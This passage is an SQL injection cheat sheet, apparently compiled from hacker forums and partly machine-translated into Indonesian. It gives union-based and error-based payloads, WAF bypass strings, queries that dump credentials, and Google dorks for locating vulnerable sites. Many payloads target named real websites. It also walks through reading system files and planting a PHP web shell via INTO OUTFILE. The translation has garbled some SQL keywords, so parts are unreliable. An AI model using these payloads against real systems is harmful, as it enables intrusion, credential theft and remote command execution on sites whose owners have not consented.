3053dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (0x7e, 0x27, cast (versi () sebagai char), 0x27,0x7e)) dari limit information_schema.tables 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
3054
3055Tampilkan Database
3056dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (schema_name sebagai char), 0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) dari information_schema .tables limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
3057
3058Tampilkan Tabel dari basis data
3059dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (table_name sebagai char), 0x27,0x7e) FROM information_schema.tables Dimana table_schema = 0xDatabase_Name LIMIT 0,1 )) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
3060
3061Tampilkan Kolom dari tabel
3062dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (column_name sebagai char), 0x27,0x7e) FROM information_schema.columns Di mana table_schema = 0xDatabase_name DAN table_name = 0xTable_name LIMIT 0,1)) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
3063
3064Dump Data dari kolom
3065dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (pilih concat (0x7e, 0x27, cast (table_name.column_name sebagai char), 0x27,0x7e) DARI `security`.table_name LIMIT 0,1) ) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
3066-------------------------------------------------- ------
3067
3068Dump in one Shot (Database, Tabel, Kolom)
3069(pilih (@x) dari (pilih (@x: = 0x00), (pilih (0) dari (information_schema.columns) di mana (table_schema! = 0x696e666f726d6174696f6e5f736368656d61) dan (0x00) dalam (@x: = / *! 50000concat * / (@ x, 0x3c62723e, table_schema, 0x272d2d3e27, table_name, 0x272d2d3e27, column_name)))) x)
3070
3071(pilih (@) dari (pilih (@: = 0x00), (pilih (@) dari tbl_admin_info di mana (@) dalam (@: = / *! 50000concat * / (@, user_name, 0x3a, kata sandi)))) a )
3072-------------------------------------------------- ----
3073
3074jika concat block gunakan ganti fungsi
3075
3076ganti (REPLACE (ganti (0x5b215d, 0x5b, versi ()), 0x21, database ()), 0x5d, usâ € ‹er ())
3077
3078Function ByPassing
3079
3080* unhex(hex(value))
3081
3082* cast(value as char)
3083
3084* uncompress(compress(version()))
3085
3086* cast(version() as char)
3087
3088* aes_decrypt(aes_encrypt(version(),1),1)
3089
3090* binary(version())
3091
3092* convert(value using ascii)
3093
3094Mengapa Kami menggunakan 50000,12345,00000 dalam / *! * /?
3095
3096Frnds Sekarang saya ingin berbagi sesuatu yang menarik 4u yang merupakan bagian dari SQLI. Hanya 4 pemula.
3097Master bros sudah tahu ini yang harus saya bagikan di sini
3098
3099Topik: Mengapa kami menggunakan 50000,00000,12345 dalam / *! * /?
3100
3101Pendatang baru saya menggunakan semua / *! 12345 * / seperti dat 4 yang melewati WAF. Apakah Anda tahu logika di balik ini mengapa kita menggunakan 12345? Hari ini m memberitahu Anda arti sebenarnya dari ini Tapi pertama setelah membaca komentar ini yang Anda ketahui sebelum arti dari penggunaan dat 12345.00000,50000
3102
3103Jadi, sekarang dengarkan baik-baik
3104
3105Sebenarnya kita menggunakan 12345 bcuj ketika kita menulis ini menjalankan versi MySQL upto 5. Berarti jika versi mysql Anda adalah upto 5 maka Anda dapat menggunakan 00000,12345,50000 atau bahkan Anda dapat menggunakan 56000 tetapi jika versi mysql adalah 5,6 sesuatu. Jadi itu berarti nomor 12345 terkait dengan versi mysql
3106
310712345 berarti => 1.23.4500000 berarti => 0.00.0050000 berarti => 5.00.0056000 berarti => 5.60.00
3108
3109Baca saja semuanya karena jika Anda tidak melakukannya, Anda tidak akan mengerti ini
3110kode dan bagaimana cara kerjanya!
3111
3112Dorks:
3113
3114inurl: "view.asp? page =" intext: "plymouth"
3115
3116Ok apa kode ini?
3117Jadi ini adalah sekolah-sekolah universitas yang dapat diretas dengan sekolah-sekolah universitas dork ini.
3118
3119inurl: "shoutbox.php" intext: "skrip"
3120
3121dengan kode ini Anda dapat meretas shoutbox atau menemukan skrip
3122
3123
3124inurl: "index.php? act =" rapidleech
3125
3126Kode ini akan menemukan situs rapidleecher dengan sangat cepat.
3127
3128inurl: "index.php? act = idx"
3129
3130Kode ini akan menemukan forum ipb dengan cepat untuk diretas
3131
3132inurl: "Photoshop.aspx" "tutorial"
3133
3134Kode ini akan menemukan tutorial photoshop
3135
3136inurl: ftp: // situs ftp: .com
3137
3138Kode ini akan menemukan server ftp apa saja dan membasmi situs yang dilindungi.
3139
3140allinurl: user_index.jsp
3141
3142Kode ini akan menemukan hosting gratis apa pun
3143
3144didukung oleh vbulletin game 3.8.4 inurl: member.php? u = 1
3145
3146Kode ini akan menemukan forum permainan vbulletin dan halaman admin.
3147
3148didukung oleh vbulletin 4.0.3 Informasi Debug
3149
3150Kode ini akan menampilkan semua kode dan informasi kode vbulletin forum
3151dan bugnya Anda rooting ke dalamnya.
3152
3153didukung oleh vbulletin "warez"
3154
3155Kode ini akan menemukan forum warez apa pun.
3156
3157video ke mp3 konverter intext online: "mp3" -intis: "Kualitas Tinggi"
3158
3159Dengan kode ini Anda dapat mengunduh mp3 dari youtube dengan sangat cepat.
3160
3161intext: "Peringatan: mysql_fetch_array ()"
3162
3163Dengan kode ini Anda akan menemukan situs vulnarable dan meretasnya.
3164
3165inurl: radioandtv.php
3166
3167Kode ini akan menampilkan semua torrent stasiun radio tersembunyi.
3168
3169inurl: "postingan.php? mode = smilies" "phpbb"
3170
3171Dengan kode ini Anda akan dapat meretas forum phpbb dan memasukkan xss ke dalam forum.
3172
3173allinurl: alat / spider-view.php
3174
3175Dengan kode ini Anda dapat menemukan tautan situs dengan sangat cepat.
3176
3177embed src = ". mp3" type = audio / mpeg
3178
3179Kode injeksi Html untuk menemukan situs rahasia dengan kode html mp3 embed
3180Anda akan melihatnya bahkan di google.
3181
3182"didukung oleh vbulletin" + "akun dump"
3183
3184Dengan kode ini Anda akan dapat menemukan kata sandi
3185untuk situs apa pun, forum bukan untuk pornografi.
3186
3187allinurl: "buku tamu / smileys.php"
3188inurl: "smileys.php" + "berbicara"
3189allinurl: smiliehelp.php
3190
3191Berbicara smilies.
3192
3193"intitle: index of" admin / FCKeditor / _samples / html
3194
3195Dengan kode ini Anda akan dapat menemukan fck server html
3196editor dan meretasnya.
3197
3198burung hantu kota kunang-kunang + "instrumental"
3199
3200Dengan kode ini Anda akan dapat mp3 instrumental dan mengubah ini
3201burung hantu kota kunang-kunang
3202
3203HTTP / 1.1 :: Mozilla / 5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.9.2.3)
3204access_log
3205
3206dengan kode ini Anda akan dapat meretas akses situs
3207log dan lihat semua informasi.
3208
3209"google scanner sql" + "php"
3210
3211Google sql injection online meretas situs-situs rentan, forum
3212dan menemukan situs-situs yang rentan sangat mudah.
3213
3214situs: youtube.com *@gmail.com
3215
3216Ini akan menemukan youtube atau email situs apa pun.
3217
3218allinurl: html_colors.html
3219
3220Ini akan menemukan kode grafik html sangat cepat.
3221
3222torrent pribadi + "buka daftar"
3223
3224Ini akan menemukan torrent pribadi yang terbuka untuk didaftarkan.
3225
3226
3227hotfile + mediafire + "http: //" + "rar" horor 2010 dvdrip,
3228(hotfile | mediafire) .rar 2010 horor dvdrip
3229
3230Ini akan menemukan situs-situs rahasia dengan film dvdrip hanya mengubah horor.
3231
3232dvdrip 400mb "2010"
3233
3234Ini akan menemukan film ripping dvdrip dalam 400mb dan terbaru.
3235
3236sql dork bank injeksi
3237
3238Ini akan menemukan bank dorks untuk meretas google.
3239
3240inurl: archive / index.php "visual basic"
3241
3242-4LPH4
3243
3244POST METHOD
3245
3246------------
3247
3248http://mosii.gametrailers.com/getmediainfo4.php?mid=47330 and false UNION SELECT 1,@@version,333,4444,5,6,7,8,0,10,11,12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
3249
3250http://sharemobile.ro/index.php
3251
3252&login=login&password=xxxxxxxxxx&username=asdasdasd' and false union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23
3253
3254http://www.articlemarketingrobot.com/db/select.php
3255
3256sql=select/**/*/**/from/**/_articlequeue/**/where/**/1=2/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11/**/%23&dbid=a6b65df1-14b4-47a0-98f7-c7e420deda3f&cb=ZZCZXV36
3257
3258
3259~h
3260
3261-----------------------------------------------
3262UNION SELECT BASED
3263
3264-------------------------------------------------------------------------
3265
3266http://127.0.0.1/defcamp/0_o/index.php?id=2%27+and+1=0+union+select+1,2,3,4,5,(SELECT-!!-1||! !N'1'|2),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
3267
3268http://www.communityinclusion.org/staff.php?staff_id=1+and+1=2+UNION+SELECT+1,2,3,4,5,6;%00
3269
3270http://poze.exn.ro/poze.php?id=202&poze=vedete"+and+false+union+all+select+1,2,version(),4,5,6+and+"1"="1
3271
3272test.ru/test.php?id=-40+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(members)where(0x00)in(@x:=concat(@x,0x3c62723e,mail,0x3a,pwd))))x),3,4,5,6,7,8,9--+
3273
3274http://www.marinaplast.com/page.php?id=13 div 0 union select 1,2,3,4,5
3275
3276mysite.com/index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--
3277
3278mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+--+
3279
3280mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>'mytable'+--+
3281
3282mysite.com/index.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name>0x6d797461626c65+--+
3283
3284mysite.com/index.php?id=-1+union+select+1,group_concat(username,0x3a,password),3,4,5+from+0x6578616d706c656462322e61646d696e6973747261746f7273--
3285
3286mysite.com/index.php?id=-1'+union+select+concat(name,0x3a,password)+from+user+where+id=1+--+
3287
3288mysite.com/index.php?id=9086 UNION /*!SELECt*/ 1,2,grouP_ConCat(column_name),4,5,6,7,8 from /*!information_schema*/.columns where table_schema=database()--
3289
3290mysite.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
3291
3292mysite.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--
3293
3294mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
3295
3296mysite.com/index.php?a=newsdetail&id=-1+union+select+1,2,3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
3297
3298mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
3299
3300mysite.com/index.php?a=newsdetail&id=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()
3301
3302mysite.com/index.php?a=newsdetail&id=-1/*!AND*/1=1+UNiOn+ALl+SelECt+1,/**/2,/**/3,/**/4,/**/5,/**/6,/**/7,/**/8,/**/9/**/limit/**/1,2
3303
3304+and+1=0+union+select+ sql_no_cache +1,2,3,4,5
3305
3306http://www.microage-bathurst.ca/services.php?id=-7+union+select+1,hex(group_concat(table_name)),3,4+from+information_schema.tables+where+table_rows>0--
3307
3308http://www.imsports.msu.edu/clubs/clubDisp.php?id=-71+union+select+1,GROUP_CONCAT(concat_ws(0x3a,table_schema,TABLE_NAME)+SEPARATOR+0x3C62723E),3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+column_name+like+0x257061737325+or+column_name+like+0x25702577256425--+
3309
3310http://web.riss.ru/cgi-bin/riss.cgi?action=news_show&lang=concat_ws(0x3a,user(),database(),version())+FROM+riss_news+LIMIT+1--+&id=-1+union+select+1,2,3
3311
3312http://www.wbdg.org/ccb/browse_org.php?o=70+and+1=10+union+select+111111111113371111111111,2--
3313
3314concat(@i:=0x00,@o:=0xd0a,benchmark(61,@o:=CONCAT(@o,0xd0a,(SELECT+concat(table_schema,0x2E,@i:=table_name)+FROM+information_schema.tables+WHERE+table_name>@i+order+by+table_name+LIMIT+1))),@o)
3315
3316~Ph.h4rh4r
3317
3318List of HTTP status codes
3319
3320400 ===> (Bad request)
3321401 ===> (Authorization required)
3322402 ===> (Payment required)
3323403 ===> (Forbidden)
3324404 ===> (Not found)
3325405 ===> (Method not allowed)
3326406 ===> (Not acceptable)
3327407 ===> (Proxy authentication required)
3328408 ===> (Request timeout)
3329409 ===> (Conflict)
3330410 ===> (Gone)
3331411 ===> (Length required)
3332412 ===> (Precondition failed)
3333413 ===> (Request entity too large)
3334414 ===> (Request URI too large)
3335415 ===> (Unsupported media type)
3336416 ===> (Request range not satisfiable)
3337417 ===> (Expectation failed)
3338422 ===> (Unprocessable entity)
3339423 ===> (Locked)
3340424 ===> (Failed dependency)
3341500 ===> (Internal server error)
3342501 ===> (Not Implemented)
3343502 ===> (Bad gateway)
3344503 ===> (Service unavailable)
3345504 ===> (Gateway timeout)
3346505 ===> (HTTP version not supported)
3347506 ===> (Variant also negotiates)
3348507 ===> (Insufficient storage)
3349510 ===> (Not extended)
3350
3351~{Injection type}~
3352-----------------------------------------------
3353HTML Injection - Reflected (GET)
3354HTML Injection - Reflected (POST)
3355HTML Injection - Reflected (Current URL)
3356HTML Injection - Stored (Blog)
3357iFrame Injection
3358LDAP Injection (Search)
3359Mail Header Injection (SMTP)
3360OS Command Injection
3361OS Command Injection - Blind
3362PHP Code Injection
3363Server-Side Includes (SSI) Injection
3364SQL Injection (GET/Search)
3365SQL Injection (GET/Select)
3366SQL Injection (POST/Search)
3367SQL Injection (POST/Select)
3368SQL Injection (AJAX/JSON/jQuery)
3369SQL Injection (CAPTCHA)
3370SQL Injection (Login Form/Hero)
3371SQL Injection (Login Form/User)
3372SQL Injection (SQLite)
3373SQL Injection (Drupal)
3374SQL Injection - Stored (Blog)
3375SQL Injection - Stored (SQLite)
3376SQL Injection - Stored (User-Agent)
3377SQL Injection - Stored (XML)
3378SQL Injection - Blind - Boolean-Based
3379SQL Injection - Blind - Time-Based
3380SQL Injection - Blind (SQLite)
3381SQL Injection - Blind (Web Services/SOAP)
3382XML/XPath Injection (Login Form)
3383XML/XPath Injection (Search)
3384
3385Hard WAF Bypass :)
3386
3387The Methods
3388.
3389id=1.unioN/**/distinct%20%73eleCt""a
3390id=1%.0unioN/**/distinct%20%73eleCt+-!~
3391id=1%""unioN/**/distinct%20%73eleCt@$%
3392id=1%''unioN/**/distinct%20%73eleCt@%C0%
3393id=1-.0unioN/**/distinct%20%73eleCt@%C0/
3394id=1=\NunioN/**/distinct%20%73eleCt@%FF|
3395id=1<0.unioN/**/distinct%20%73eleCt@=
3396id=1>0.unioN/**/distinct%20%73eleCt~.
3397id=1e0unioN/**/distinct%20%73eleCt""$
3398id=1^0.unioN/**/distinct%20%73eleCt!~
3399id=1|""unioN/**/distinct%20%73eleCt\N$
3400id=1|''unioN/**/distinct%20%73eleCt\N%FF
3401id=1|.0unioN/**/distinct%20%73eleCt!@
3402id=1|\NunioN/**/distinct%20%73eleCt""/
3403
3404Source: https://pastebin.com/qzNp6zha
3405
3406-Credits.
3407
3408Oracle SQL Injection dan DIOS Query
3409
3410Dalam Nama ALLAH Yang Maha Pengasih dan Penyayang
3411
3412Setelah mendapatkan banyak permintaan untuk menambahkan DIOS dan tutorial Injeksi ralated database lainnya pada Securityidiots. Di sini kita bangun dengan Oracle Based SQL Injection dan DIOS tutorial
3413
3414Berikut adalah dasar-dasar Oracle Union Based Injection yang dapat Anda gunakan untuk menyuntikkan situs berbasis oracle Union Based Oracle Injection
3415
3416Saya harap membaca Union Based Oracle Injection di atas sekarang Anda tahu cara menyuntikkan situs berbasis oracle, sekarang kita akan menyuntikkan "http://demosite.com/page.php?id=1" di tutorial kami. Mari kita lihat apakah masukan di bawah ini memberi kita kesalahan. Sebelum kita mulai menonton video dasar ini yang berisi bagaimana menggunakan beberapa pertanyaan di bawah ini, maka Anda dapat membaca tutorial yang memberikan penjelasan lebih lanjut dan beberapa contoh lain dari DIOS oracle dan injeksi.
3417
3418http://demosite.com/page.php?id=1 '
3419Sekarang jika kita memiliki kesalahan memungkinkan menyeimbangkan permintaan.
3420http://demosite.com/page.php?id=1 'pesanan oleh 1--
3421Tidak Ada Kesalahan
3422http://demosite.com/page.php?id=1 'pesanan sebesar 8--
3423Tidak Ada Kesalahan
3424http://demosite.com/page.php?id=1 'pesanan sebesar 9--
3425Kesalahan
3426Sekarang kita tahu 8 adalah kolom terakhir yang berfungsi, jadi sekarang kita bisa mencoba serikat pekerja.
3427http://demosite.com/page.php?id=1'and 0 = 1 union pilih 111,222,333,444,555,666,777,888--
3428Jika Anda mendapatkan beberapa kesalahan, maka cobalah
3429http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
3430dan temukan kolom yang rentan secara manual, tetapi anggaplah itu juga tidak berhasil, maka cobalah ini.
3431http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
3432Semoga mencampur salah satu trik di atas dapat berhasil.
3433Anggaplah ketiga adalah kolom rentan, yang dicetak di layar. Mari mulai mengekstraksi data melalui kolom ketiga, pertama-tama kita akan mengekstrak versi database.
3434Untuk mendapatkan versi yang kami gunakan (pilih spanduk dari v $ version di mana rownum = 1)
3435http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (pilih banner dari v $ version di mana rownum = 1), NULL, NULL, NULL, NULL, NULL--
3436Sekarang mari dapatkan database saat ini menggunakan SYS.DATABASE_NAME.
3437http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, SYS.DATABASE_NAME, NULL, NULL, NULL, NULL, NULL--
3438Sekarang sisa bagian yang akan kita lakukan menggunakan DIOS (Dump dalam satu tembakan) untuk Oracle. Tidak seperti DIOS Oracle DOS lain yang sederhana di mana kita hanya menggunakan fungsi wm_concat untuk mengekstrak data dari database.
3439http://demosite.com/page.php?id=1'and 0 = 1 union pilih NULL, NULL, (PILIH ganti (wm_concat ('<li>' || table_name), ',', '') FROM all_table), NULL, NULL, NULL, NULL, NULL--
3440Query di atas akan memberi Anda semua tabel, sekarang mari kita dapatkan kolom untuk tabel, tapi itu tidak semuanya lebih dari apa yang dapat Anda lakukan: D. Karena wm_concat terbatas dalam output, kami tidak dapat menyebutnya DIOS lengkap, jadi ya kami akan segera bekerja pada beberapa versi lain untuk DIOS Oracle, tetapi untuk sekarang di sini ada beberapa cara lain yang dapat Anda coba.
3441http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih LISTAGG (table_name,' <li> ') dalam grup ( ORDER BY table_name) dari all_tables) || '<! -', NULL, NULL dari dual - & lang = it
3442
3443http://www.beaconhouse.edu.pk/cms_main_career.php?id=9&subpg=1&pjobid=-22050 dan 0 = 1 UNION + SELECT NULL, (pilih wm_concat ('<li>' || table_name || ':' || column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns urutan oleh table_name desc) shell di mana rnum <120) || '<! -', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL dari dual--
3444
3445http://www.technoriunite.it/pages.php?p=cut-linear ') dan 1 = 0 union pilih null,' "> '|| (pilih wm_concat (' <li> '|| table_name ||' : '|| column_name) from (pilih rownum as rnum, table_name, column_name dari all_tab_columns order oleh table_name desc) shell di mana rnum <120) ||' <! - ', NULL, NULL dari dual - & lang = it
3446Itu semua untuk saat ini, sampai jumpa lagi dengan tutorial kami berikutnya: D
3447
3448Diko rin naget ke hahaha. share ko nalang: D
3449
3450Sumber: SecurityIdiots.com
3451
3452
3453Bypass 404 :)
3454
3455bypass1: order by x,x-- -
3456bypass2: union select x,x-- -
3457bypass3: =-x' UNION /*!SELECT*/ x,x-- -
3458bypass4: x,x,CONCAT_WS(CHAR(32,58,32),user(),database(),version())-- -
3459bypass5: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema.tables where table_schema=database()-- -
3460bypass6: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,table_name) from information_schema./*!tables*/ where table_schema=database()-- -
3461bypass7: /*!UNION /*!SeLeCT*/ 1,2,concat_ws(0x7c,column_name) from information_schema./*!columns*/ where table_name=0x(convert to hex)-- -
3462bypass8: /*!UNION /*!SeLeCT*/ 1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x7c,abc),14,15,16,17,18 from xyz-- -
3463
3464
3465SQLi Waf Bypass
3466
3467/*!31337ConCaT*/(0x496e6a656374656420627920316d70333231756d3c62723e486f73746e616d653a20,@@hostname,0x3c62723e44617461626173653a20,database/**X**/(),0x3c62723e56657273696f6e3a20,version/**X**/(),0x3c62723e557365723a20,user/**X**/(),0x3c62723e,(/*!31337sELecT*/(@)/*!31337from*/(/*!31337sELecT*/(@:=0x00),(/*!31337sELecT*/(@)/*!31337from*/(`InFoRMAtiON_sCHeMa`.`ColUMNs`)/*!31337where*/(`TAblE_sCHemA`=DaTaBaSe/**X**/())and(@)in(@:=/*!31337CoNCat*/(@,0x3c62723e20,/*!31337TaBLe_nAMe*/,0x203a3a20,/*!31337column_name*/))))a))
3468
3469(/*!31337select*//*!31337concat*/(0x496e6a6563746564206279204e64697669633430343c62723e44617461626173653a20,database/**/(),0x3c62723e56657273696f6e3a20,version/**/(),0x3c62723e,@:=0x2d2d2d,(/*!31337select*/count(*)/*!31337from*//*!31337information_schema*/./*!31337columns*//*!31337WhErE*/(/*!31337TaBlE_ScHeMa*/!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!31337concat*/+(@,0x3c62723e,/*!31337table_name*/,0x3a3a,/*!31337column_name*/)),@))
3470
3471+div+@div:=(/*!31337concat*/(@c:=0x00,if((/*!31337select*/+/*!31337count*/(*)/*!31337from*/+/*!31337information_schema*/./*!31337columns*/+/*!31337where*/+/*!31337table_schema*/=database/*ndivic*/()+and+@c:=/*!31337concat*/(@c,0x3c62723e, /*!31337table_name*/,0x2e,/*!31337column_name*/)),0x00,0x00),@c))+/*!31337UNION*/+ALL+/*!31337SELECT*/+
3472
3473Hai Im Ph.h4rh4r dari Blue Security Hackers
3474
3475Saya akan menunjukkan itu adalah Metode berbasis String
3476
3477Situs contoh: http://www.gwapoako.com/readnews.php?id=6
3478
34791: meninggalkan akhir 'pre check jika vuln situs dalam injeksi sql
3480http://www.gwapoako.com/readnews.php?id=6 '
3481
3482Peringatan: mysql_fetch_array () mengharapkan parameter 1 menjadi sumber daya, boolean diberikan dalam /home/jungleisland/gwapoako.com/readnews.php on line 34
3483
3484kesalahan db? berarti rentan.
3485
3486ini adalah cara mendapatkan metode berbasis string di situs
3487
34882: tingkatkan akhir Anda
3489http://www.gwapoako.com/readnews.php?id=6 ''
3490
3491tidak ada kesalahan diba? berarti Metode Berbasis String tidak akan digunakan
3492
3493kami memiliki contoh yang dapat digunakan untuk Metode Berbasis String
3494Contoh:
3495'- -
3496'- +
3497
34983: periksa apakah beberapa kolom berada di situs menggunakan pesanan oleh.
3499http://www.gwapoako.com/readnews.php?id=6 'pesanan sebesar 5-- -
3500
3501memesan dengan 5 kesalahan pesanan pero ung oleh 4 ok
3502berarti ung situs 4 kolom saya
3503
35044: menggunakan union pilih.
3505http://www.gwapoako.com/readnews.php?id=6 'serikat pilih 1,2,3,4-- -
3506
3507Contoh Anda melihat 3 dan 4, itu berarti kolom yang rentan
3508
35095: Saya akan menggunakan SANG PENCIPTA untuk membuat saya mudah
3510(Dengan peretasan)
3511DIOS = Dump Dalam Satu Tembakan
3512
3513Ini akan menggunakan kueri pra-dump pada tabel dan kolom situs. dan query n ini diletakkan pada kolom vuln pro I letakkan s 3 kolom 3 juga dapat nmn s kolom 4
3514
3515make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/*!50000information_schema.columns*/)where@:=make_set(511,@,0x3c6c693e,/*!50000table_name*/,/ *! 50000column_name * /)), @)
3516
3517serikat http://www.gwapoako.com/readnews.php?id=6' pilih 1,2, make_set (6, @ = 0x0a, (/ *! 50000select * / (1) dari (/ *! 50000information_schema. kolom * / di mana @ = make_set (511, @, 0x3c6c693e, / * 50000table_name * / / * 50000column_name * /)), @), 4) -!! 20%
3518
3519Selesai 🙂 Selamat Meretas 🙂
3520
3521saya akan memberitahu methodh tentang shell upload melalui query
3522Pertama-tama menemukan situs web yang rentan terhadap injeksi sql. Anda dapat menemukan situs web oleh dorks atau secara manual seperti saya telah menemukan ini.
3523Anda membutuhkan 2 hal utama:
35241- Jalur Akar dari situs web
35252- Direktori yang bisa ditulisi
3526Sebagian besar waktu, Anda akan melihat jalan root dalam kesalahan SQL situs tersebut. Seperti yang berikut.
3527Peringatan: mysql_fetch_assoc () mengharapkan parameter 1 sebagai sumber daya, boolean diberikan di /home/aeiti/public_html/admin/requires/functions.php on line 1327
3528Nah Jika situs web yang rentan tidak menunjukkan jalur root maka jangan khawatir saya akan menunjukkan cara untuk mengetahui jalur root. Dan Juga Direktori yang Dapat Ditulis.
3529http://www.jantv.in/comments/showmore.php?id=68884 '
3530Saya tidak memulai dengan abc dari SQLI Saya harap Anda tahu dasar-dasarnya. : D
3531Sekarang kita harus menemukan kolom situs web kemudian kolom yang rentan seperti situs saya memiliki 11 kolom dan 5 kolom rentan
3532http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4,5,6,7,8,9,10,11-- -
3533http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, versi (), 6,7,8,9,10,11-- -
3534Mari Coba Coba Muat Berkas Situs Web
3535http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / passwd '), 6,7,8,9,10, 11-- -
3536http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / my.cnf '), 6,7,8,9, 10,11-- - -
3537http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / group '), 6,7,8,9,10, 11-- -
3538http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / services '), 6,7,8,9,10, 11-- -
3539http://www.site.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, load_file (' / etc / hosts '), 6,7,8,9,10, 11-- -
3540Kami tidak perlu membaca file apa pun yang disebutkan di atas hanya untuk menambah pengetahuan Anda. Sekarang kita harus memeriksa hak akses file untuk pengguna saat ini untuk pertama kali ini Anda harus menemukan nama pengguna saat ini.
3541Seperti ini
3542http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, current_user, 6,7,8,9,10,11-- -
3543Nama Pengguna Saat Ini kami adalah root
3544Sekarang Periksa Privilages File untuk root Pengguna
3545http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, file_priv, 6,7,8,9,10,11 DARI mysql.user WHERE pengguna = 'root' - -
3546yang menunjukkan Y :)
3547Jika itu menunjukkan Y (ya) pada kolom rentan situs web yang berarti kita memiliki hak akses file untuk root pengguna saat ini
3548Dan jika tidak menunjukkan Y maka jangan buang waktu Anda di sana: D
3549Sekarang kita harus menemukan direktori yang bisa ditulisi untuk ini Anda dapat menggunakan google dorks juga dan pengetahuan Anda juga :)
3550tapi di sini kamu akan terjebak untuk menemukan direktori ....
3551saya tahu Anda berpikir bahwa Anda akan meletakkan 'dan Anda akan mendapatkan direktori dalam kesalahan: p :)
3552http://www.jantv.in/comments/showmore.php?id=68884 '
3553Lihat tidak ada diektori: D
3554sekarang
3555ada satu lagi trik untuk mendapatkan direktori
3556gunakan "[]" ini sebelumnya = 68884
3557seperti
3558http://www.jantv.in/comments/showmore.php?id[]=68884
3559coba lihat apa yang akan terjadi
3560lihat di sini kita mendapatkan direktori :) :)
3561sekarang kita akan mengunggah kode jahat kita di kolom vuln 3 :): D: D
3562http://www.jantv.in/comments/showmore.php?id=68884 'UniOn SeleCt 1,2,3,4, "<? system ($ _ REQUEST [' sembarang perintah u punya :) ']) ;? > ", 6,7,8,9,10,11 ke dalam file 'outfile' ke C: /wamp/www/comments/name_u_want.php '- + -
3563tapi aku punya milikku :)
3564saya hanya mengubah kode saya di Hex :)
3565http://www.jantv.in/comments/showmore.php?id=68884'+UNION+ALL+SELECT+1,2,3,4,0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646 ke outfile 'C: / wamp / www / comments / any_name_u_want. php '- + -
3566maka kamu akan mendapatkan seperti itu artinya kamu meng-upload kode ur :)
3567lalu periksa
3568http://www.jantv.in/comments/any_name_u_typed.php: D
3569Anda akan mendapatkan opsi browse di mana Anda dapat memilih shell Anda
3570biarkan melihat
3571yang saya singkirkan shell saya :): D saya menemukan shell itu oleh Anas bro thnks Anas bro :)
3572ok sekarang lihat opsi unggah
3573klik di atasnya
3574sekarang lihat file berhasil diunggah :)
3575sekarang buka dengan metode yang sama seperti sebelumnya
